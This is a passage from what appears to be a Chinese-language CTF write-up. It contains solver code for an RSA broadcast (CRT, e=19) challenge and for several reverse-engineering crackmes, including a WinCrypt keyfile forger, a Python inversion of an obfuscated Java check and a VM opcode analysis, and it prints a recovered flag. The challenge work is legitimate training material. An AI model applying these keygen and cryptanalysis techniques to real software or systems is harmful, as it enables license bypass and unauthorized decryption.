675667055162907660820768433907282749095458015341570802297559287990440496065051 486970127291015435906143328670495764979798317390225405587270445353337087497780 300666784521757559677764504161208852136474658460018703444718680426309315497887 622354795698567555861658547811403340467546724028577910903558187895025517, 0x3d81bd9c0aa88eb6bafec40e4198f2c55d56575914d1a7aa81dfb0256b9429f7bcf5a3c7ec01a09 8a0af98e016b022bec1d035b9f9630938294d3d092328c35f7572c6a8d1c9851ca766c85e4ab6763 30e7ec1f9f4baa90ca6e5ea3ec024d6af4fcc5f51872037afeceffad441e445155ab8082ff5e0b0291c 79ca7ede868a52facfc555ba22b2c75bb2571f3c7916655b9f295a4d87a1cfb554677d646ff813dc59 f009345e0a94cbd2075094386c9f10b6aefa28cd3194d3426e10718fea4e3bcb5d1acf6cbe4e586d6 bd7332d38f4c53499d80f026166422e15d4ed8e265842423252613b547f8e574c7194c12dd91ef5 1d31a6671d62ecf8a558d47b1eb6], [18739467511848988131315883128122206736146672097070557004405077164871943414492 542793367542772456096079622940115684730643882776615896515435624865889149736726 304993972099711596725868044429964505450412443901512587718466587820372856736565 262541517131220786373375774076290256061254661574959523249922650103736767653244 522761962914935575618046253094214681141427180945699326806416209977311843049385 163987916124881945471029756498039400006754155122103796794625674692744195141047 534340245381998599639342203042620610562621504363598354386979425884092857465615 040878510573038208953817381038343917618507732344741511873852562526386559, 0x49ffc1accb080b62290fb874f49e7f335d7b8528439118ee0af2644375368e9039da303a9d91471 30a231478a26fd19b26ed27fbaefb11f45950d90a6d4e2b47f35c2fd4a723cabe28c3783f6bbcbca5 63346914b962692c99b8631cbcc9a5d3f919ac572e9e620524b1041a97abb0b0aace32608f9640df 04734e753fe9b512f612b6e1f3919dbbe4b85fba1e2d49323b83afae577c2a12b3cadb979df7d2d2 6c2fee31897654528f53b8a33cb18c23d67edf1540f0b86c9628bf4412bc4c51cc9fed74547e6fff49 1d5933ca162cf51b040f1e5cbca8e7b107eb86954cedc0981ade1824249a018908682e731ebbaaf9 1a8e57fe96c99bd207f96fbdbcc827], [24144341786129954104766079581733537330837102620507111869913290242909722665909 732313693428501073644480388840032874928561102010577421641440630875810610561194 025475852397890128254251033410935030136931440682117891617143329677926862476615 293629003934739648788231326944914357662125163281241165968692544703336639661017 133788173441091047645030713078121901474517242196220495605264434833134024329711 042776081925978969773964654993763988354885230878890003264935622882822509742717 974763221877362961745927680965748429304078786377256344394424563202564595728201 265334810076014722298402290831187834158701977930586972158865356896878873, 0x67962b2d35ad0157a54fc22d839fd73b09e51533132ab398f3d1d875d8e1939788c72b715eaf91 888f0d34fd5047ec0d1d174516bdde965364f9b8a524f3abdf1ea712fbb0704baedb62cb9e928007 3f4089477fedeb91562315bfce12c7161547c1f43d6ef3e150ef7bdcfb73be79dfb31e2488330a621 8d75b54da169b9720f810d4cd3e8f3980a00bfd2a9154346626d877f3b4642bf0fe35d062eaa604d 06acd3f49b1c1f6d5e2854f0477c1ca7c3b35cc4c043b5371df7b3f13499da5c9fdc35e954decda0ac 88f6fc25bd3008af328c58c735197a072c0c66b0993320f62f26622426cafce4ecea8f89c65768b514 5be3ee0c3698b14131a22a4d21338], [16247040679920031441664101450549224846915267128012038160169809988022529023260 360238909951721143041506098750506786632479804873106717283201900098824130270193 142897664876028831477060651707441899218915076467211315093002467718126490397764 923781336660386278054000174333959286629952650900709358893976405952107976000248 004574231569517524507462786518216405968877173286766785131219930156964443010273 798741079176893106230378140885773941215693338280227658997239881139017743508178 569400885510195501403324289981396077715264056372600615755225462706462512671715 787636455440243582040421840201486300867068118821338810860117202506391973, 0x144585e5cd2b72208d7462bc84f4de80f3ce6d97071cb0476143c12f6ebe44e48f324b4461fe7a d24361bfb6d3385396c4886326b70a3f57ac69b8149fc70f75409bf98cc6f367db615f0ab51d61089 b32f7047f17ce14d020640abe00c63d60b3357b47cbda97ae6f9890ab6d6bd06556da32d4a979ea 20fdb8f9de7789c276958b56d66d0f0ccdf2d9783a26192bf2e61aa680a1bdd8149081628920fc481 dd83b67c0891eedda5d5d48f5e547bcd9826b2649e15fbe40bdccb69b5bd745d93f4c577652ff7e3 3aa20e6b0af54f1cfd39184ffb1b2cc976c73b71156375669c6136738b49b84ea52452cb9f69d0c77 900ef1ed9794295edb7dde6a8554ee8c], [18551012655167926464387770233050992041279846989528863834161102801461525909041 686843284937371832688980356271778071203519636639066373197007130811728890790984 815578763892813131319090045053393183033738145698478609343317261312831760454700 959756547277631900724095039747673433562196539586274971886808485264355019830197 753253490072205982314028030552566563457089010319394999259879331693348838824426 385184308020734644413336706840348430393355769529711286087755105943529953231252 927515095975878110907343949357033111430713845084941976511518245681531713980631 560482036988551039137934572569534019455625143056327345204129235038932281, 0x6ad6572818211ca2d1448d6cac860de2cb02e03c65f0351552801b722e4e423f5217773ec31571 729cb2028364bd3de306a40ca77c4d69beac43132cc226c12ef76b7b0495149bd4873f54016b04f5 18f7affcd23fc3fad29ebb3db069199313ac3282be96095d780e14815008e112b363df534fa4ed78f 63bfffb30b73052de844c0486c4f18ec6726cbc77eb71293409bc73a1f4320ff4d2ec4cf6eba8c0543 ba9c56c1af02b4adf2dab1f1138f64fa2b8d4766a97a6de4f79e964aa8e6c0a524c1b4ce25fd0dcbe6 5883199d2a0460d6476e3ac08a5626b769f6160b67a5b67196ecfd7c973b858864c20472be72e37 7bb2ef564166a5a87e02c495b621ba], [22970054162939118362445461906385901439221833049069290764726458403981881590911 408985071089915137383136981861486559612240193323004875531479506532933874191827 230244142365699779672563892554369800432687990439547057984097138200118421515362 503979452326218214213321824595316092046539247639346347874744608465484205324020 992798905568751701806473018818314668698663841670163178796042710128542711081575 701259392887969466760429477196625304678039933447047554550092450130934454516569 529246444043217414963440855561480781027930049264349001859267759734412856962206 268528357858432389642710120143436757447094624387962152016825294720909759, 0xa9e70e690c9c8e694935251b7f4c07012190aafbbbdbe81456258abf4d490fa2d42bdf56f7012fa 3b1714cd19be108f9e56883b15ac56469d9bb114c4b859d5997aa1ca72c5ad0fceda30ebcd3adfe0 429032ebee67900b9cd254b62b079bbe1f447cd2ce112cae53e14fe95e21749c1773e464c369efd8 c574d2dd34a232efbee022a9eb52ec5c46ee54ed0f0fc8e71fb35c13d299a86ec8247209f5c3fccf6c 0ccb189634ff7339eb50bfb5d4b962ae3e34a8d4570b7296338ad90087fe9ed4b45bfa3348638fb3 0cf2872a36382ebfac8f9c44fc8932497b68abaf86cd89617e052b88929c435fdf08aef8d54a4eba01 f2d458bda554a30e5c52c1b8641d1], [18385820490756498630845099637385884526289633356624061254787168690401969931484 681461188238787710409651449815539895242285691598875337594287806106085813960118 251848444451513534016769456481162672885262204482364949325534065459367850614143 232825000032268406437960262370858480554819685829353555690184818798267265796210 960337460388505948631071614525018398373865470392241959568220037734003523095913 661855071969443595963888197246706817509173657520972643733504829106254413721980 414281608033521754216197444688277826856307631715943618612743630197485621043314 535237634316401434408628915092182191743880308408307741099934272875651987, 0x2e2e5bae9239315b08b9e7df8dcc04ce3dd490a337b5de84b9901f3691854b2e854cdbbb983ce f522dce64bd624ada2559966078cfcbca9c9e366dc8657f63a21eff19fa2d112290cb2c0b5a0f27afce 836de90f7ed9b9ce0b081e334d214cdf5172ad13f191226a88a19e3f527ae3b2e7a02682acea65a9 00b5902fdeb77b6d2736c008b480383f7845c98311435b1dca9b2569977e480a18c92d120ea9c7fc cc37ac416a60fbbd1c043789b5e71d921b11850c7384ea197403261289ed1435ee29e913452e8ef eadfd6869bf740f5ac4b7e2071802917a5507a02d867915d59f1324a06c11fe9448c5a09f344538aa a6c8bcc3eda7b59ac9b7a2c89b69a442], [30281916388128671870608358127535508597253256848916166571387928324968934483079 979882958925265663909078201971328202390856034300501395073515791314797688655243 947502728491379898802971897808837840821945579155914942010654535449237742856997 639563715044751146534481040770843626744868141893233703484246867149368376045028 319062204568784859614394313935507160274207492688072260532253254402466876869799 765679537186402458205153674746975112358763817203043791811771234907386018301357 938440244542249616472383775389567763247682438890144872967598891063447307931793 385215729678598734396687216166714065075625367843216251707716025103121803, 0x1c78ed0ac3656077c3a47c2430d0183cca199670af2aa8192e555a3c0ae2e83946172ee821361c c9570ae66e7b831f25b882adcbd270fe122635e73a2d2b0d2fff28629ae6185d6114ac431dd120d1 fc763fbba5ea6d3a178c90ffe4ed086cb09c68c3ab75585172422982e8e61ffe6f3192553f39c23a0d 2c57ab91c3b619de0aa0141e50f40cd93e51f6328f10ed6c51f7c7c04c1d241d48a85127db38126fa e6dd04a6e5d5d6f4523d50e6971474159d8623a8100d01cade05572d92425d9244d1dda0b39190 8d35e08119f4be9fdeff188d99ee7a4e9b29b3f3bba0b0cbfe84cc1eeb9fb09dc7d6bd54e1d151f69 0370e4982f9405f41cf74236f904a2c2], [29302741920930971715958962931573693059214518175682972760430442992280718862916 019621646166196030902557965543474818835511863275094220355276070528714707585419 430062500161905041353445117189645307421983574773148466680558589247666101162735 815101806414923256492116070184596267543276347976227842158566607582950518639772 496229144254482533666634166391371264257444271707628266235679007052272896293396 203478855075129665555759478152254177633460469433113536613000536250110508669033 238938059179852830430676389056790930463587631527501924598301620386168595636653 467177413553747002260512852330933153282102780023107271182594054817150327, 0xdefd52684b8ff42585141f2fde551200860d69ff86c2f05f130f6978952fa0eca4515e60fc81c1d93 88bda4baf85eae4f80f9e9c7d56f93b8ba45cdd41d561f1bcc7ba0587fd9f886d1bfd79fdc6d2ee51c c719d61cbd3222df58a41ee602cb0b2f9bad8f763f70b7d73de55b60a041bffbd9d2664b3158bf7b 16df52494967fd1c5bdb9e7905a1c8b62b89095c27deae2ec63a5abe9c91cbbe4f12eb1180a98394 dd6b1cf2daf1a5262c69eb0abcb9615a84f5109a921f7dcb8867f770b4b1868be10f7745bba6de27 a42be500b82142e7e8944dff88a4020902c6aa3feb8dd9a2e6cf0cc5b124546d24a76b784b79c1f3 04fbcb6c79f99c279bd94abf0b56e], [18002677742776908491528820233798698716107011799507861113124372495825515833214 781580140089594386320512697247643983138319668973871589664314738547953119404190 410130072605398757902275389560426168550823398009508361292638241394236790974970 017004533432395617773751028770143238013974085907741503747507551735924429318248 324672570812709561078983634491336294143952871625167165459876010915038650749052 455741224355512827413964858171986208251886493588084872107655861761108227052067 451000512173167165942523219966599268848053306963435861831476981263834887084378 049610242488632853018135809263417506963270646733008282952382101704197623, 0x5f76fe81f0136f3855d9f1923e0cee1f768b25effd54fec7e1438425ea744b85aa19c9e2e8e175ad 43d1da9ea86a7563e98dc0e318abd418e2dff55777b3752288a987f7d3d203f96d9a209a26519a6 88cdc2b2d9627da7d18eb814c10531bc484acee7bcf38565cd4dc1ed0f2b4304ec539262ea70c49e 275246789cb2902f2fe76c6a743f098ae0a30bcc7c88f19145a19ae3ee4433b9ed0bca78ef017a13c 8de86f27a8fd987e5f8739e97e6069f46cf1f19bb71b76892abbd6340ab7177d7187b62f281624d5 4e24016c7abf4c0d28657b509730849a8e209b8e945a7df8c2ddbd43b8050ef97a590e9bb6d50d4 3a34b676e47a1708cd3927f5570fca0eb], [17385690967504874659081285807736946558802244288041517042108187672717379329178 334496113160801574061465138366148713819592793313683421378505296788697744253648 534794396605589753247977329400952848538474618734955207869156808235956879088972 178608461737991738408266236322270202640427889796004224608622994615228680554574 643862617952688587328074362507938630759071580461843753419996970640803730214623 839290577017432774968863067141412380845128948858377887291614971097504289252403 156844418437971684066442327908124339274521445039556499162318560060262216457443 382532574565448625519147347488322047325049345604859921899415787930385223, 0x869f17d7e1450b0540ec2df5d43f6f82a246ced4b8287352580f77615721bd10b3a7f7c7cb83d6 3fec965c1a3fc93531e65cd14527d4aa242f36d8ab1af938e312c554afa124dc8dcebf769c8ff6d1b9 85bb2521606e47c9db658910cb4ac1ee53442cc75d73f89c349160cd62e5be70d02b4efd48bb78b 1447c90dc407dfc1e9013f78fb33f185abbb9f59e9a313e2cca36c2c086955d5f9d15804a6417efcde 802c60a34dfa54a94580a6bc974f38bd23d128e1418f7b2b7db911649a701ffc1b2a2dc3b85efacf6 8c33eff648ce77790160ea7d55ec52ddda7fea414690a216c2bd054881f08deb14559ebf33b75926 bbd0b0fb3687f9ecce1b1d3a8eb76a], [21446777415351130147205079896812556144760341131980328457479211003920073547260 539842798513238830248313746258553352056758211664220853535491930627715523968038 760195452541263513011957735222059270748393755128054967152518850258728721849032 492840730694348268277142780367080820887091814886510650523980239380065481822201 359742013768435513266872450487992120704903800015695988761833598968601324518342 875868803367429998381053968159622275606753821391388526250039179762891270174739 748949131134511023830818079526152879733526623540609875826812906910682843202162 617139159412105885166373294774501512523937496573675355828762858800843247, 0x24e479052ff3ee7db3b88eaac7072d86f2cbb7e5b3c583d66ed21dd5248529aebe30e45f2159dc f1119f7fd52b67ee80e8ba73320951545df3a28774d4f2e01420736ee32b943a7cceaab11c255d94f 334aa0892c5173529021fc448f710f03436a996697fbd0b3a1e296f88d15da4527dfb7ab74347150 300be962cc2bbf1d36e79503c38f5c73f354f24fbcf7cbff1a1822c707ab52a8947952ef20e11bf39fc ea83fef94d1975b80b07678b8c012798239a8d772ad0c52a3cb2be1f4ab3788e693b07abbb30062 037b92bc8b32a13fc9d575b7e0f2b6467fc747b5d7c5a774a836c9e1ce15cee8198ca8215a4ded86 419b16661634b08d11baffe5069d60b], ] data = [] for session in sessions: e=19 n=session[0] msg=session[1] data = data + [(msg, n)] print "-" * 80 print "Please wait, performing CRT" x, n = chinese_remainder_theorem(data) e=19 realnum = gmpy.mpz(x).root(e)[0].digits() print my_parse_number(int(realnum)) REVERSE Reverse100(100) 对输入的奇数位字符和偶数位字符做了不同的处理,奇数位的处理 偶数位的处理 最后的校验 拿到 flag 的代码 #include <stdio.h> #include <stdlib.h> void main() { unsigned char cipher[19] = { 0xBC, 0xEE, 0x7F, 0x4F, 0x3F, 0x53, 0xFA, 0xF8, 0xD8, 0xE8, 0x5E, 0xCE, 0x70, 0xCC, 0x3A, 0xC2, 0x3F, 0x4B, 0x00}; for (int j = 0; j < 18; j++) { if (j & 1) { for (unsigned char i = 32; i < 127; i++) { unsigned char input = i; input = (input >> 7) | 2 * input; input ^= 0x24; if (input <= 0x63) input += 9; if (input == cipher[j]) { printf("%c", i); } } } else { for (unsigned char i = 32; i < 127; i++) { unsigned char input = i; input += 10; input = (input >> 3) | 32 * input; input ^= 0x17; if (input > 0x2D && input <= 0x37) { input += 20; } if (input == cipher[j]) { printf("%c", i); } } } } } Flag:SCTF{Se9177entf@u1t_s73} Reverse150(150) 这题先对输入的 name 做了 DES 加密,然后对 keyfile 进行 RSA 解密,最后比较他们的 值是否相等 我们的思路是拿到 name 做 DES 加密后的密文,用 RSA 加密的公钥对其进行加密就可以得到 keyfile,DES 加密后的密文可以通过动态调试得到,最重要的一步是获得公钥,程序已经有 了 私 钥 , 但 是 PRIVATEKEYBLOB 格 式 的 , google 了 一 发 , 可 以 先 用 http://www.jensign.com/JavaScience/PvktoJkey/MSPrivKeytoJKey.java 把 PRIVATEKEYBLOB 格式 转换为 PKCS#8 格式,再用 http://www.jensign.com/JavaScience/PvkConvert/PvkConvert.txt 得 到 PUBLICKEYBLOB 格式的公钥,最后对所有 name 的DES 密文进行 RSA加密就得到了 keyfile, 还要注意生成的 keyfile 中不能有 0 字节,代码如下 #include <iostream> #include <windows.h> #include <wincrypt.h> using namespace std; void main() { unsigned char cipher[30][16] = { { 0x93, 0xc6, 0xb5, 0xc3, 0xe0, 0x35, 0x2d, 0xaf, 0xa3, 0x48, 0x6e, 0x41, 0x44, 0xab, 0xe1, 0x3c }, { 0x7d, 0xa7, 0x85, 0x29, 0xa1, 0x56, 0xb8, 0x53, 0xe1, 0xda, 0x11, 0x6, 0x12, 0x58, 0xad, 0xaf }, { 0xd4, 0xc2, 0x3, 0x36, 0x50, 0x94, 0x3d, 0x75, 0x67, 0x74, 0x3f, 0x1e, 0x17, 0x76, 0x2d, 0xd1 }, { 0x37, 0xa7, 0xbe, 0x1d, 0x5d, 0xb1, 0x84, 0x6a, 0x2d, 0xaf, 0x3c, 0x9, 0xe4, 0xf4, 0xd, 0x65 }, { 0x13, 0x21, 0x49, 0xbe, 0x19, 0x9e, 0xa6, 0x59, 0x1b, 0x2d, 0x22, 0x6f, 0xd1, 0x76, 0x99, 0xaa }, { 0x8b, 0x17, 0x43, 0xc8, 0xbb, 0xa, 0x23, 0xcb, 0x94, 0xc, 0xfb, 0x67, 0x3a, 0xf0, 0x54, 0x4c }, { 0xae, 0x7a, 0x7a, 0x6a, 0x89, 0x2c, 0xbf, 0x33, 0x68, 0x47, 0x90, 0x25, 0x9a, 0xc5, 0x5e, 0xe6 }, { 0xe0, 0x3, 0xa5, 0x9a, 0x73, 0xbf, 0x24, 0x77, 0xcd, 0x99, 0xa1, 0xb7, 0x65, 0x64, 0x9b, 0x57 }, { 0x46, 0x4d, 0xa6, 0xd0, 0x24, 0xbc, 0x6f, 0x24, 0x20, 0x2d, 0xdf, 0x6e, 0xa8, 0x44, 0x9d, 0xb7 }, { 0x82, 0x6e, 0xe5, 0x11, 0xda, 0x58, 0xaf, 0x4e, 0x4, 0x92, 0xa4, 0x68, 0xe6, 0xfc, 0x38, 0x6f }, { 0x17, 0x2d, 0x13, 0xb, 0x7, 0x24, 0x42, 0xc3, 0xe1, 0x4e, 0x51, 0x30, 0x2f, 0x60, 0xf2, 0x9d }, { 0xfe, 0x6f, 0xf, 0xa7, 0xb9, 0x7a, 0xf4, 0x97, 0x74, 0x82, 0x8f, 0xd3, 0x52, 0xa4, 0xbd, 0xaf }, { 0x30, 0xb2, 0x1b, 0xef, 0x4, 0x64, 0x6a, 0x72, 0x4a, 0x8f, 0xa0, 0x24, 0xc8, 0x9a, 0x4f, 0xbc }, { 0x7c, 0xac, 0xe7, 0xac, 0x11, 0xd1, 0x41, 0x5d, 0xf4, 0x88, 0xa6, 0xab, 0x94, 0x64, 0xde, 0x9f }, { 0x6f, 0x6d, 0x5d, 0x65, 0xa, 0x7, 0x77, 0x4d, 0xf, 0x64, 0xa7, 0xf5, 0x91, 0x74, 0xd4, 0x1 }, { 0x4e, 0x2, 0x1c, 0xe5, 0xeb, 0x9b, 0xa, 0xca, 0xed, 0x93, 0xc9, 0x20, 0xb5, 0xc1, 0xe5, 0xbf }, { 0xdb, 0x1e, 0x44, 0x50, 0x88, 0x1c, 0xeb, 0xdb, 0x3c, 0x7b, 0x15, 0x1, 0x4a, 0x20, 0x82, 0x62 }, { 0xe8, 0xea, 0x4f, 0x8f, 0x45, 0x30, 0x31, 0xd7, 0xac, 0xfa, 0xb6, 0xed, 0x1b, 0x30, 0x6b, 0x38 }, { 0xf2, 0x6b, 0x59, 0xb3, 0xdf, 0x7d, 0x9d, 0xa3, 0x13, 0xc2, 0x4d, 0xfc, 0xb, 0x43, 0x77, 0x6f }, { 0x73, 0xc5, 0x49, 0x0, 0x1e, 0x2d, 0x7e, 0x23, 0x58, 0x70, 0x19, 0x8d, 0x90, 0x31, 0x5f, 0x88 }, { 0xdb, 0x2c, 0xac, 0xc4, 0x9d, 0x12, 0xb4, 0x92, 0x6b, 0x1a, 0xa8, 0x85, 0xbe, 0x34, 0x2e, 0x8e }, { 0x55, 0xe, 0xdc, 0x5e, 0xb7, 0x74, 0xda, 0xf8, 0x17, 0x5f, 0x1b, 0x77, 0xa4, 0x72, 0xc5, 0x8e }, { 0xe7, 0xb1, 0x29, 0xe2, 0x3, 0xf5, 0x92, 0x9f, 0x7c, 0x9d, 0x6c, 0xd, 0xb3, 0x5a, 0x38, 0xde }, { 0xde, 0xfc, 0x71, 0x4e, 0x86, 0xe1, 0x36, 0x29, 0x4e, 0x19, 0x68, 0x2f, 0xfc, 0x66, 0x92, 0x50 }, { 0xb7, 0xdc, 0x87, 0x8, 0xce, 0x4, 0xd0, 0xc3, 0x70, 0xb0, 0x4c, 0x43, 0x62, 0xda, 0x5b, 0x87 }, { 0x6a, 0x45, 0x7a, 0x27, 0xe0, 0x2a, 0xf6, 0x7, 0x70, 0x12, 0x7c, 0x28, 0x8f, 0x15, 0xd2, 0x2f }, { 0xf0, 0xf, 0xf7, 0xbd, 0x92, 0xa, 0x13, 0x54, 0xa7, 0x1d, 0x5b, 0x74, 0x67, 0x4a, 0x17, 0x42 }, { 0x81, 0x63, 0xcc, 0x58, 0xb6, 0x92, 0xb2, 0x51, 0x16, 0xd2, 0xcd, 0xe4, 0x24, 0x3c, 0xfd, 0x57 }, { 0x9, 0x59, 0x13, 0xbd, 0x1a, 0x8c, 0xe4, 0xbb, 0x1d, 0xf4, 0xad, 0x46, 0xc6, 0xbd, 0x7a, 0x25 }, { 0x76, 0xff, 0xa8, 0xaf, 0xe1, 0xe, 0x42, 0x37, 0x59, 0xb4, 0x5f, 0x78, 0xb, 0x48, 0xe1, 0xa7 } }; for (int i = 0; i < 30; i++) { HCRYPTPROV phProv = 0; HCRYPTKEY phKey = 0; DWORD len = 16; unsigned char text[128] = { 0 }; memcpy(text, cipher[i], 16); unsigned char pub_key[148] = { 0x06, 0x02, 0x00, 0x00, 0x00, 0xA4, 0x00, 0x00, 0x52, 0x53, 0x41, 0x31, 0x00, 0x04, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0xF7, 0x4A, 0x9D, 0x9B, 0xAA, 0x80, 0x5A, 0x89, 0x8C, 0x00, 0x0A, 0x7B, 0xE2, 0xDC, 0x59, 0x9D, 0x3E, 0xF1, 0x9D, 0x10, 0x33, 0xD8, 0xF6, 0xA5, 0x60, 0xC3, 0x20, 0xBA, 0xC7, 0x21, 0x80, 0x08, 0x53, 0xDB, 0x5E, 0x60, 0x05, 0x65, 0xD0, 0xF5, 0x88, 0xA4, 0x0C, 0x76, 0x8D, 0x42, 0xEF, 0x27, 0xDB, 0x83, 0x79, 0xD7, 0xCC, 0xDB, 0x43, 0x9F, 0x7E, 0xDF, 0xCA, 0xC3, 0x62, 0x46, 0xD8, 0x3C, 0xEA, 0x8D, 0xD4, 0x48, 0x04, 0xC0, 0xC7, 0xD9, 0xD3, 0xFF, 0xB0, 0xF5, 0x0C, 0x0D, 0x82, 0xDE, 0x6D, 0x0B, 0x20, 0xCB, 0x8C, 0x79, 0xAD, 0x98, 0xFE, 0x32, 0xC4, 0x9F, 0x19, 0xE1, 0xDA, 0x16, 0xFE, 0xDA, 0x5E, 0x52, 0xE4, 0xBF, 0xC5, 0x2F, 0x06, 0x32, 0x73, 0x1A, 0xDF, 0xC5, 0x56, 0x37, 0xFC, 0xC0, 0xAB, 0x40, 0xBE, 0x0B, 0x66, 0x6E, 0xA2, 0x74, 0x06, 0x66, 0x7E, 0x42, 0xCD, 0xD9 }; if (CryptAcquireContext( &phProv, NULL, "Microsoft Enhanced Cryptographic Provider v1.0", PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { if (CryptImportKey(phProv, pub_key, 148, 0, 0, &phKey)) { if (CryptEncrypt(phKey, 0, true, 0, text, &len, 128)) { printf("success\n"); char filename[15] = { 0 }; sprintf(filename, "key%d.txt", i + 1); FILE* file = fopen(filename, "w"); fwrite(text, 1, 128, file); fclose(file); } else { printf("error3\n"); } } else { printf("error2\n"); } } else { printf("error1\n"); } } } Reverse200(200) 可执行文件是个 install4j 的程序,用 procmon 监控进程文件操作能够提取出一个 trustme.jar,用 jd-gui 打开发现 jar 经过混淆,静态分析发现得出的算法是错误的。于是用 IDEA 设置 Path to jar 进行调试,发现动态加载了一个类,里面是关键函数,然后写脚本倒推 即可。 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from ctypes import * def u8(x): return c_uint8(x).value result = [-81, 52, 52, -39, -64, 43, 49, -116, -100, -115, -81, -119, 34, -7, 56, 92, 23, 78, 115, -120, 77, 83, -22] sbox = [1, 3, 8, -55, 21, 27, 35, 67, -14, -111, -49, 89, 92, 109, 31, -112, 7, -74, 55, -15, -32, -1, -20, 83, 39, -103, -36, -116, - 93, -50, -19, -128, 96, 46, 99, 26, -86, -46, -34, 105, -21, 0, -88, 68, 16, -42, 94, 5, 120, -53, -2, -109, 11, -121, -62, -6, 29, 112, - 82, -79, -71, -37, 52, 119, 102, 60, 111, 87, -3, 41, -114, -43, 49, -118, 54, 44, -7, 100, 98, -16, 78, 116, 91, 23, 97, -58, -23, -75, - 97, -81, 76, 6, 61, -119, 124, -54, 79, 57, 50, -113, 84, -107, 86, 4, -108, 40, -87, 34, -102, -18, -115, -57, -85, -77, 118, 103, 53, - 98, -96, 37, -72, 2, -80, -35, -92, 122, -83, 18, -60, -68, 14, -64, 115, 108, 63, 81, 114, -69, 117, -39, -33, 36, -89, 125, 59, 65, -99, 101, 93, -105, 38, 43, 126, -126, 30, 75, 77, -45, 13, -76, -61, 104, 51, 85, 64, 127, -65, -48, 74, 123, -117, -95, -9, 33, 80, 56, -91, - 26, -31, -73, 69, 48, -8, -22, -104, 113, -100, -38, -101, -4, -27, - 17, -29, 17, 82, -25, -51, -127, -110, -122, 28, 12, -66, 66, -78, - 24, -56, -11, 110, 107, 15, -84, -13, -125, -94, 121, 70, -12, 20, 106, -124, 71, 25, -120, -44, -10, 47, -106, 45, 95, 73, 32, 62, -90, -41, 58, 24, 19, -67, -123, 72, -28, 42, 10, -40, 90, -47, 22, -5, - 30, -52, -59, -63, 9, -70, 88] for i in xrange(len(sbox)): sbox[i] = u8(sbox[i]) length = 0x17 for i in xrange(23): result[i] = u8(result[i]) # step1 for i in xrange(23): if i % 2 == 0: result[i] = u8(result[i]-1) else: result[i] = u8(result[i]+1) for i in xrange(23): result[i] = u8(result[i] ^ 0x82) for i in xrange(23): result[i] = u8(result[i] -4) t = [] for i in xrange(23): t.append(sbox.index(result[i])) xor_seed = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56, 48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7] for i in xrange(23): t[i] = u8(t[i] ^ xor_seed[i]) print ''.join([chr(c) for c in t]) Reverse500(500) 这是一个 64 位 VM 的题,checker 是 main 函数,mod1、mod2 和 mod3 是三个子函数, 先是加载程序,然后分配寄存器和栈的空间 下面是指令对应的操作 80 mov reg, immediate 81 xor reg1, reg2 | xor reg1, immediate 82 push reg 83 pop reg 9A je 9B jmp 9C jne 9D call A5 mov reg1, reg2+reg3 A6 mov reg1, [reg2] A7 mov reg1, cs+[cs+0x20]+immediate B0 mov [reg1], byte ptr [reg2] B1 mov reg1, [reg2] & immediate B2 mov reg1, [reg2] | immediate B3 mov reg1, [reg2] / immediate C5 cmp C6 ret C7 mov reg1, reg2 E0 syscall E1 malloc 第一个子函数 mod1 是输入,然后在 checker 也就是 main 函数验证输入的长度是不是 0x1D, 通过后调用 mod3 函数对输入做了三次处理,先是以输入值的每个字符为索引到 mod3_base_addr+0x600 的位置查表替换,然后再跟 mod3_base_addr+0x700 处的四个值循环 异或,之后把结果中每个值的高 4 位除以 0x10 之后再或 0x30,低 4 位或 0x30,最后与 mod3_base_addr+0x730 处的值比较,得到 flag 代码如下 #include <stdio.h> #include <stdio.h> int main() { unsigned char table[256] = { 0x49, 0xB6, 0x2C, 0x2D, 0xAB, 0x8F, 0x36, 0x11, 0x32, 0xE7, 0x73, 0xF8, 0xF9, 0x4C, 0x26, 0xA3, 0x5B, 0xBB, 0xBC, 0xBD, 0xBE, 0x98, 0x99, 0x97, 0x9A, 0x9F, 0xA0, 0xDD, 0xE0, 0x74, 0x8A, 0x8B, 0x8C, 0xDE, 0xDF, 0x08, 0x62, 0xE5, 0xF1, 0xDB, 0x23, 0xF7, 0xA4, 0xCC, 0xCD, 0xC9, 0xC4, 0x75, 0xD6, 0xD3, 0x0C, 0x0D, 0x91, 0x1D, 0x1E, 0x0B, 0x14, 0xB2, 0x66, 0x67, 0x9D, 0x30, 0xEE, 0x53, 0x6B, 0x05, 0x6F, 0x70, 0x71, 0x76, 0x93, 0xEF, 0xF0, 0x51, 0x52, 0xC3, 0x58, 0xFA, 0xD8, 0x5F, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x00, 0x80, 0x0E, 0x0F, 0x10, 0xEC, 0xED, 0x35, 0x13, 0x21, 0xA2, 0x65, 0xB7, 0x4A, 0x57, 0xB5, 0x6D, 0x5C, 0x89, 0x5E, 0xAE, 0xAF, 0xB0, 0x12, 0xD5, 0x72, 0xC6, 0xD7, 0xE1, 0xA5, 0x46, 0x15, 0x16, 0x44, 0x43, 0xB4, 0x60, 0xE4, 0xC7, 0xC8, 0xBF, 0x85, 0x87, 0x09, 0x0A, 0x86, 0xC1, 0xAA, 0xC5, 0xC2, 0xD9, 0xDA, 0x94, 0x95, 0xD2, 0xFB, 0x1A, 0xFC, 0x19, 0x1B, 0xCB, 0x61, 0xE3, 0xCE, 0xCF, 0xD0, 0x3C, 0xF4, 0xF5, 0xE6, 0xD4, 0x68, 0x56, 0xAD, 0xCA, 0xD1, 0x96, 0x90, 0xB1, 0x22, 0xE8, 0xA6, 0x69, 0x83, 0x84, 0x31, 0xE9, 0x2A, 0x9E, 0xE2, 0x6A, 0x37, 0x2B, 0x33, 0x20, 0xAC, 0x54, 0x42, 0x45, 0x34, 0x81, 0x82, 0xEA, 0xEB, 0x38, 0x2E, 0x2F, 0x5A, 0x4E, 0x4F, 0x50, 0x1F, 0x8E, 0xF2, 0xF3, 0x3A, 0x3B, 0x07, 0x63, 0x5D, 0x9B, 0x24, 0x02, 0x04, 0x47, 0xB8, 0xB9, 0xBA, 0x6C, 0x48, 0x25, 0xC0, 0x92, 0x4B, 0x59, 0x77, 0x78, 0x4D, 0xA1, 0x39, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 